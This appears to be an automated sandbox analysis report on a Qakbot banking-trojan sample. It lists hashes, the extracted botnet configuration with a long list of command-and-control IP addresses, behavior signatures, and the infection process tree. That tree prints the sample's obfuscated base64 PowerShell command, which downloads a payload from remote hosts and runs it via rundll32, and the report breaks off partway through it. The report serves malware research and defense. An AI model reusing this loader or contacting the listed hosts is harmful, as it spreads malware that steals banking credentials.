qakbot | abbb0da27ee094eafe8b4f26a48cc2622c5197a7dd6b12115be83ce655688e88

Analysis

max time kernel
150s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2023, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1N27ZFqW0quhb8.js
Size 464KB
Sample230620-vtc6hadc25
SHA256 abbb0da27ee094eafe8b4f26a48cc2622c5197a7dd6b12115be83ce655688e88
MD5 6679a7d280f6a067a8c04f6fbaf1d253
SHA1 c046c4ce4b7f9801dfb609a100af1c270960af79
SHA512 7eee3129033527da4817b1fec816d95d843cfc22f03cfa49691793fa461b675203c134a52b9641ef78e82a4e24e2519f18504875784e2e8ca17f7202abd8bb8c
SSDEEP 12288:7zr2t0uoE1y4V/gOAdwAdxbzJH84mkGFgSVXlJBa4bISo0sSwwOKXk7mF4OP/Weh:HTIAdwAdxdm7FHBJbIS32gmVeoX2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama269 1687245474 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1382

Botnet

obama269

Campaign

1687245474

91.160.70.68:32100
182.75.189.42:995
151.62.196.183:443
72.134.124.16:443
104.35.24.154:443
84.215.202.8:443
71.31.9.226:995
103.153.180.59:995
45.62.75.217:443
95.230.110.222:995
49.175.72.81:443
12.172.173.82:22
168.149.47.12:443
68.186.65.132:443
113.11.92.30:443
116.75.58.218:443
151.69.32.238:443
24.138.87.122:995
96.87.28.170:2222
147.147.30.126:2222
109.105.29.93:443
183.82.107.190:443
1.221.179.74:443
2.36.64.159:2078
12.172.173.82:995
201.171.159.196:443
192.252.166.24:80
176.44.123.169:995
2.82.8.80:443
81.150.169.174:2083
74.12.147.68:2222
86.248.228.57:2078
70.160.67.203:443
75.109.111.89:443
88.126.94.4:50000
70.28.50.223:3389
223.166.13.95:995
162.248.14.107:443
70.28.50.223:32100
84.35.26.14:995
183.87.163.165:443
92.186.69.229:2222
12.172.173.82:993
174.4.89.3:443
199.27.66.213:443
12.172.173.82:50001
81.229.117.95:2222
92.9.45.20:2222
12.172.173.82:20
91.169.12.198:32100
213.91.235.146:443
12.172.173.82:465
70.28.50.223:2078
75.98.154.19:443
136.232.179.26:443
67.87.119.216:2078
103.123.223.131:443
94.204.121.72:443
103.140.174.20:2222
95.45.50.93:2222
72.4.96.62:443
176.142.207.63:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
47.205.25.170:443
81.150.169.174:2078
81.150.169.174:2087
89.158.150.253:443
66.241.183.99:443
188.28.22.221:443
23.234.237.3:443
181.230.169.180:443
184.182.66.109:443
70.28.50.223:2083
175.156.65.126:2222
64.229.117.208:2222
77.126.99.230:443
87.252.106.235:995
12.172.173.82:32101
161.142.100.114:995
24.234.220.88:995
70.28.50.223:1194
24.234.80.122:995
81.150.169.174:2222
121.121.100.202:995
105.186.138.229:995
27.0.48.233:443
80.6.50.34:443
12.172.173.82:21
197.3.227.63:443
68.6.237.243:443
87.149.116.32:995
103.212.19.254:995
90.104.151.37:2222
178.175.187.254:443
86.170.169.53:443
119.82.71.94:2078
90.7.72.46:2222
217.165.255.105:443
116.88.76.28:443
125.99.69.177:443
73.155.10.79:443
103.141.50.46:995
142.181.206.222:2222
47.199.241.39:443
96.255.66.51:995
64.121.161.102:443
60.189.130.84:995
187.199.244.117:32103
110.159.115.244:443
72.205.104.134:443
12.172.173.82:2087
79.168.224.165:2222
81.157.120.247:443
124.122.47.219:443
201.227.113.134:2222
103.144.201.52:2078

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	2548	powershell.exe
23	2548	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
116	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2548	powershell.exe
2548	powershell.exe
3872	powershell.exe
3872	powershell.exe
116	rundll32.exe
116	rundll32.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe
1828	wermgr.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 2548	4812	wscript.exe	81
PID 4812 wrote to memory of 2548	4812	wscript.exe	81
PID 2548 wrote to memory of 3872	2548	powershell.exe	85
PID 2548 wrote to memory of 3872	2548	powershell.exe	85
PID 3872 wrote to memory of 1088	3872	powershell.exe	86
PID 3872 wrote to memory of 1088	3872	powershell.exe	86
PID 1088 wrote to memory of 232	1088	cmd.exe	87
PID 1088 wrote to memory of 232	1088	cmd.exe	87
PID 232 wrote to memory of 116	232	rundll32.exe	88
PID 232 wrote to memory of 116	232	rundll32.exe	88
PID 232 wrote to memory of 116	232	rundll32.exe	88
PID 116 wrote to memory of 1828	116	rundll32.exe	89
PID 116 wrote to memory of 1828	116	rundll32.exe	89
PID 116 wrote to memory of 1828	116	rundll32.exe	89
PID 116 wrote to memory of 1828	116	rundll32.exe	89
PID 116 wrote to memory of 1828	116	rundll32.exe	89
PID 116 wrote to memory of 1828	116	rundll32.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1N27ZFqW0quhb8.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABIAG8AcgBpAHoAbwBuAHMAQwBhAGQAYgBhAGkAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAGIAdwBCAHUAQQBIAE0AQQBaAFEAQgBqAEEASABJAEEAWgBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBjAGcAQgA1AEEARgBRAEEAZAB3AEIAcABBAEgASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAEQARgBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AUQBBADUAQQBDADQAQQBNAGcAQQAxAEEARABRAEEATABnAEEAeABBAEQAawBBAE4AZwBBAHUAQQBEAFEAQQBOAEEAQQA9AEQARgBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAVQBBAGIAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBVAEEAYgBBAEIAcwBBAEcAawBBAGIAZwBCAG4AQQBDADQAQQBkAGcAQgBwAEEASABNAEEAYQBRAEIAdgBBAEcANABBACIAOwAkAG0AdQB0AGEAbgB0AEQAZQBzAG0AbwBzAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAFEAQQB5AEEAQwA0AEEATQBnAEEAeQBBAEQARQBBAEwAZwBBADEAQQBEAGsAQQBMAGcAQQAxAEEARABRAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAdwBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAGcAQQAzAEEARABBAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBOAHcAQQB1AEEARABFAEEATwBBAEEAMwBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATQB3AEEAPQAiADsAJABQAGgAeQBsAGwAbwBwAHQAZQByAHkAeAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAFkAZwBCAHoAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAbABBAEgATQBBAGQAQQBCAEIAQQBIAE0AQQBkAEEAQgBsAEEASABJAEEAYgB3AEIAcwBBAEcAVQBBAGMAQQBCAHAAQQBIAE0AQQBMAGcAQgB5AEEARwBVAEEAWQB3AEIAcABBAEgAQQBBAFoAUQBCAHoAQQBBAD0APQBZAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATwBBAEEAdQBBAEQARQBBAE0AQQBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABJAEEATABnAEEAeABBAEQATQBBAE0AUQBBAD0AWQBTAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcARQBBAGIAQQBCAGgAQQBHADAAQQBZAFEAQQB1AEEARwB3AEEAZABBAEIAawBBAEcARQBBACIAOwAkAFEAdQBhAGsAaQBlAHMAdABQAHkAZQBsAG8AZwByAGEAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE8AUQBBAHUAQQBEAEkAQQBNAHcAQQAwAEEAQwA0AEEATQBnAEEAeABBAEQAWQBBAEwAZwBBADMAQQBEAEEAQQBMAHcAQgBTAEEASABJAEEATAB3AEIAWABBAEcAMABBAGMASABoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAGIAdwBCAHUAQQBHAGsAQQBiAGcAQgBtAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAGIAZwBCAG4AQQBFAE0AQQBiAHcAQgBzAEEARwBrAEEAYgBnAEIAMQBBAEgATQBBAEwAZwBCAGoAQQBHADgAQQBkAFEAQgB5AEEASABNAEEAWgBRAEIAegBBAEMAOABBAFoAUQBCAGwAQQBFAGMAQQBXAFEAQQB2AEEARwBFAEEAYgBnAEIAMQBBAEEAPQA9AGMASABoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAUQBCAGwAQQBIAEkAQQBhAHcAQgBoAEEASABNAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBFAGMAQQBaAHcAQgBLAEEARABnAEEAVABBAEIANABBAEcANABBAGEAQQBCAGwAQQBGAFkAQQBMAGcAQgBrAEEARwBFAEEAZABBAEEAPQBjAEgAaABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBiAHcAQgBzAEEARwBrAEEAYQB3AEIAcABBAEcANABBAFkAUQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAVABBAEIAawBBAEcAawBBAGQAQQBCAHQAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABRAEEAWQBRAEIAegBBAEcAawBBAGMAZwBCAHkAQQBHAHMAQQBZAFEAQgB5AEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAdwBCAGsAQQBHAFUAQQBSAGcAQgB3AEEARwBVAEEAVQBRAEEAMQBBAEgAUQBBAGQAQQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBNAEEAYQBBAEIAcABBAEcANABBAFkAUQBCAHQAQQBHADgAQQBZAFEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAE0AdwBCAFQAQQBHAHMAQQBiAGcAQgB4AEEARABBAEEAYgBBAEEAegBBAEYASQBBAFQAZwBCAGoAQQBFAE0AQQBMAGcAQgBrAEEARwBFAEEAZABBAEEAPQBjAEgAaABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBaAFEAQgAxAEEARwBNAEEAZABRAEIAeQBBAEcAawBBAGQAQQBCAGgAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEATAB3AEIAVQBBAEUAbwBBAGEAQQBBAHcAQQBEAFEAQQBPAEEAQgA2AEEARgBBAEEATQBnAEIATQBBAEYAVQBBAGQAQQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcABBAEcARQBBAGQAQQBCAHkAQQBHAEUAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEUAMABBAFkAdwBBADIAQQBIAFEAQQBUAEEAQgA1AEEARQAwAEEAWgBnAEIASgBBAEcAcwBBAFoAUQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AIgA7ACQAQgB1AGwAYgB1AGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB4AEEARABrAEEATwBBAEEAdQBBAEQASQBBAE0AdwBBADMAQQBDADQAQQBNAGcAQQB4AEEARABrAEEAIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAYQBtAGUAbgB0AGkAZgBvAHIAbQAgAGkAbgAgACQAUQB1AGEAawBpAGUAcwB0AFAAeQBlAGwAbwBnAHIAYQBtACAALQBzAHAAbABpAHQAIAAiAGMASABoACIAKQAgAHsAJABpAG4AZABpAG0AZQBuAHMAaQBiAGwAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMABBAEcAawBBAGIAZwBCAHMAQQBHAGsAQQBhAHcAQgBsAEEAQwA0AEEAWgBBAEIAbABBAEcANABBAGQAQQBCAGgAQQBHAHcAQQAiADsAdAByAHkAIAB7ACQAawBsAGUAcAB0AG8AbQBhAG4AaQBhAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATgBnAEEAMQBBAEMANABBAE4AZwBBADUAQQBDADQAQQBOAHcAQQAyAEEAQQA9AD0AUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB6AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATQB3AEEAdwBBAEEAPQA9AFAAbwBGAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBnAEIAcABBAEcATQBBAGIAdwBCAHUAQQBFADgAQQBkAFEAQgAwAEEASABJAEEAWQBRAEIAcABBAEgATQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBqAEEARwBnAEEAUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAFUAQQBiAFEAQgB2AEEARwBRAEEAZABRAEIAcwBBAEcARQBBAGQAQQBCAGwAQQBDADQAQQBiAGcAQgBzAEEAQQA9AD0AIgA7ACQAdAByAGkAYgBiAGwAZQBaAG8AcgBvAGEAcwB0AHIAYQAgAD0AIAAkAGEAbQBlAG4AdABpAGYAbwByAG0AOwAkAGEAbABwAGgAYQBiAGUAdABzACAAPQAgACIAUwBRAEIAawBBAEcAdwBBAFoAUQBCAHQAQQBHAFUAQQBiAGcAQgBHAEEARwBFAEEAZABBAEIAcwBBAEcAawBBAGIAZwBCAG4AQQBIAE0AQQBMAGcAQgBrAEEARwB3AEEAYgBBAEEAPQAiADsAJABGAG8AeABpAHQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AHIAaQBiAGIAbABlAFoAbwByAG8AYQBzAHQAcgBhACkAKQA7ACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAGwAcABoAGEAYgBlAHQAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEYAbwB4AGkAdABlACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQA7ACQAawBsAGUAcAB0AG8AbQBhAG4AaQBhAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATgBnAEEAMQBBAEMANABBAE4AZwBBADUAQQBDADQAQQBOAHcAQQAyAEEAQQA9AD0AUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB6AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATQB3AEEAdwBBAEEAPQA9AFAAbwBGAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBnAEIAcABBAEcATQBBAGIAdwBCAHUAQQBFADgAQQBkAFEAQgAwAEEASABJAEEAWQBRAEIAcABBAEgATQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBqAEEARwBnAEEAUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAFUAQQBiAFEAQgB2AEEARwBRAEEAZABRAEIAcwBBAEcARQBBAGQAQQBCAGwAQQBDADQAQQBiAGcAQgBzAEEAQQA9AD0AIgA7ACQASQBuAGQAaQBzAGMAZQByAHAAdABpAGIAbAB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQApAC4ATABlAG4AZwB0AGgAOwAkAHAAaQBtAHAAbABlAGQASQBkAGUAbgB0AGkAZgB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEAegBBAEMANABBAE8AQQBBADEAQQBDADQAQQBOAGcAQQB5AEEAQwA0AEEATQBRAEEAeABBAEQAWQBBAGUAUABsAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE4AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAdwBBAEQATQBBAEwAZwBBADMAQQBEAFEAQQBlAFAAbABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBaAFEAQgA0AEEARwBFAEEAWgBBAEIAcABBAEcAVQBBAGIAZwBCAGwAQQBDADQAQQBjAHcAQgAxAEEASABBAEEAYwBBAEIAcwBBAEcAawBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABkAGUAdgBvAG4AaQBjAFMAdABlAHIAaQBsAGkAegBhAGIAaQBsAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAGQAQQBCAG8AQQBHAFUAQQBjAGcAQgB0AEEASABrAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AdwBQAEYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgBnAEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBOAHcAQQA0AEEAQwA0AEEATwBBAEEAMwBBAEEAPQA9AHcAUABGAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAFEAQQB6AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBOAFEAQQAzAEEAQQA9AD0AIgA7AGkAZgAgACgAJABJAG4AZABpAHMAYwBlAHIAcAB0AGkAYgBsAHkAIAAtAGcAZQAgADcAOQA1ADcANAApAHsAJABGAGUAYgByAGkAZgBlAHIAbwB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcAawBBAGMAdwBCAGoAQQBHAFUAQQBjAGcAQgBoAEEASABRAEEAWgBRAEIAawBBAEMANABBAGEAQQBCAGgAQQBHADAAQQBZAGcAQgAxAEEASABJAEEAWgB3AEEAPQAiADsAJABrAGkAYgBpAHQAegBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFEAQQBNAFEAQQB1AEEARABjAEEATgBnAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEARwBrAEEAYwBnAEIAegBBAEgAVQBBAGQAQQBCAGwAQQBFAGsAQQBiAFEAQgB3AEEARwBVAEEAZABBAEIAMQBBAEcAOABBAGQAUQBCAHoAQQBHADQAQQBaAFEAQgB6AEEASABNAEEATABnAEIANABBAEgAZwBBAGUAQQBBAD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEAeQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABVAEEATQBnAEEAdQBBAEQAZwBBAE0AQQBBAD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AQQBBAHcAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATwBBAEEANQBBAEEAPQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHcAQQBHAGcAQQBjAGcAQgBsAEEARwA0AEEAYgB3AEIAbgBBAEgASQBBAFkAUQBCAHAAQQBHAGcAQQBRAFEAQgBqAEEARwBNAEEAYwBnAEIAbABBAEcAUQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEYASQBBAFkAUQBCAHoAQQBHAGsAQQBiAGcAQgBuAEEARgBRAEEAYwBnAEIAcABBAEcATQBBAGEAQQBCAHYAQQBHAGMAQQBlAFEAQgB1AEEARwBVAEEASQBnAEEANwBBAEMAUQBBAFEAdwBCAHkAQQBHAFUAQQBjAEEAQgBwAEEASABRAEEAZABRAEIAegBBAEYASQBBAFkAUQBCAG4AQQBHAGMAQQBaAFEAQgB5AEEASABrAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAEQAQQBHADgAQQBjAEEAQgBoAEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGMAZwBCADUAQQBDAEkAQQBPAHcAQgBqAEEARwAwAEEAWgBBAEEAZwBBAEMAOABBAFkAdwBBAGcAQQBIAEkAQQBkAFEAQgB1AEEARwBRAEEAYgBBAEIAcwBBAEQATQBBAE0AZwBBAGcAQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEUAawBBAFoAQQBCAHMAQQBHAFUAQQBiAFEAQgBsAEEARwA0AEEAUgBnAEIAaABBAEgAUQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQgB6AEEAQwA0AEEAWgBBAEIAcwBBAEcAdwBBAEwAQQBCAHQAQQBHADgAQQBjAGcAQgBsAEEARABzAEEASgBBAEIAdgBBAEgAQQBBAGEAUQBCAHoAQQBIAFEAQQBhAEEAQgB2AEEARwBJAEEAYwBnAEIAaABBAEcANABBAFkAdwBCAG8AQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEAUQBRAEIAdQBBAEgAUQBBAGEAQQBCAHkAQQBHADgAQQBjAEEAQgB2AEEARwBrAEEAWgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBHAGcAQQBaAFEAQgB0AEEARwBrAEEAWQBRAEIANgBBAEgAawBBAFoAdwBCAHYAQQBIAFUAQQBjAHcAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEARABzAEEASgBBAEIAVABBAEgAVQBBAFkAZwBCAHQAQQBHAFUAQQBjAGcAQgBuAEEARwBrAEEAYgBnAEIAbgBBAEUAYwBBAGMAZwBCAGwAQQBHAEUAQQBjAHcAQgBsAEEARwB3AEEAWgBRAEIAegBBAEgATQBBAEkAQQBBADkAQQBDAEEAQQBJAGcAQgBDAEEASABJAEEAYgB3AEIAagBBAEcAZwBBAGIAdwBBAGkAQQBEAHMAQQBKAEEAQgBUAEEARwA4AEEAZABRAEIAeQBBAEcAVQBBAGMAdwBCADAAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAYQBBAEIAaABBAEcAVQBBAGIAUQBCAHAAQQBHAE0AQQBRAHcAQgB2AEEARwA0AEEAZABBAEIAbABBAEcAMABBAGMAQQBCAHMAQQBHAEUAQQBkAEEAQgB2AEEASABJAEEASQBnAEEANwBBAEEAPQA9ACIAOwAkAFIAZQBkAGUAYwBvAHIAYQB0AGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgASQBBAFoAUQBCAGwAQQBIAEkAQQBaAFEAQgBqAEEASABRAEEAVQBBAEIAbABBAEgASQBBAGQAZwBCAHAAQQBHAEUAQQBZAGcAQgBwAEEARwB3AEEAYQBRAEIAMABBAEgAawBBAEwAZwBCAHoAQQBHAGcAQQBiAHcAQgB3AEEAQQA9AD0AVABIAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQARQBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATQBBAEEAMABBAEMANABBAE4AQQBBADIAQQBBAD0APQBUAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBBAEEANABBAEMANABBAE0AUQBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATgB3AEEAdQBBAEQASQBBAE4AQQ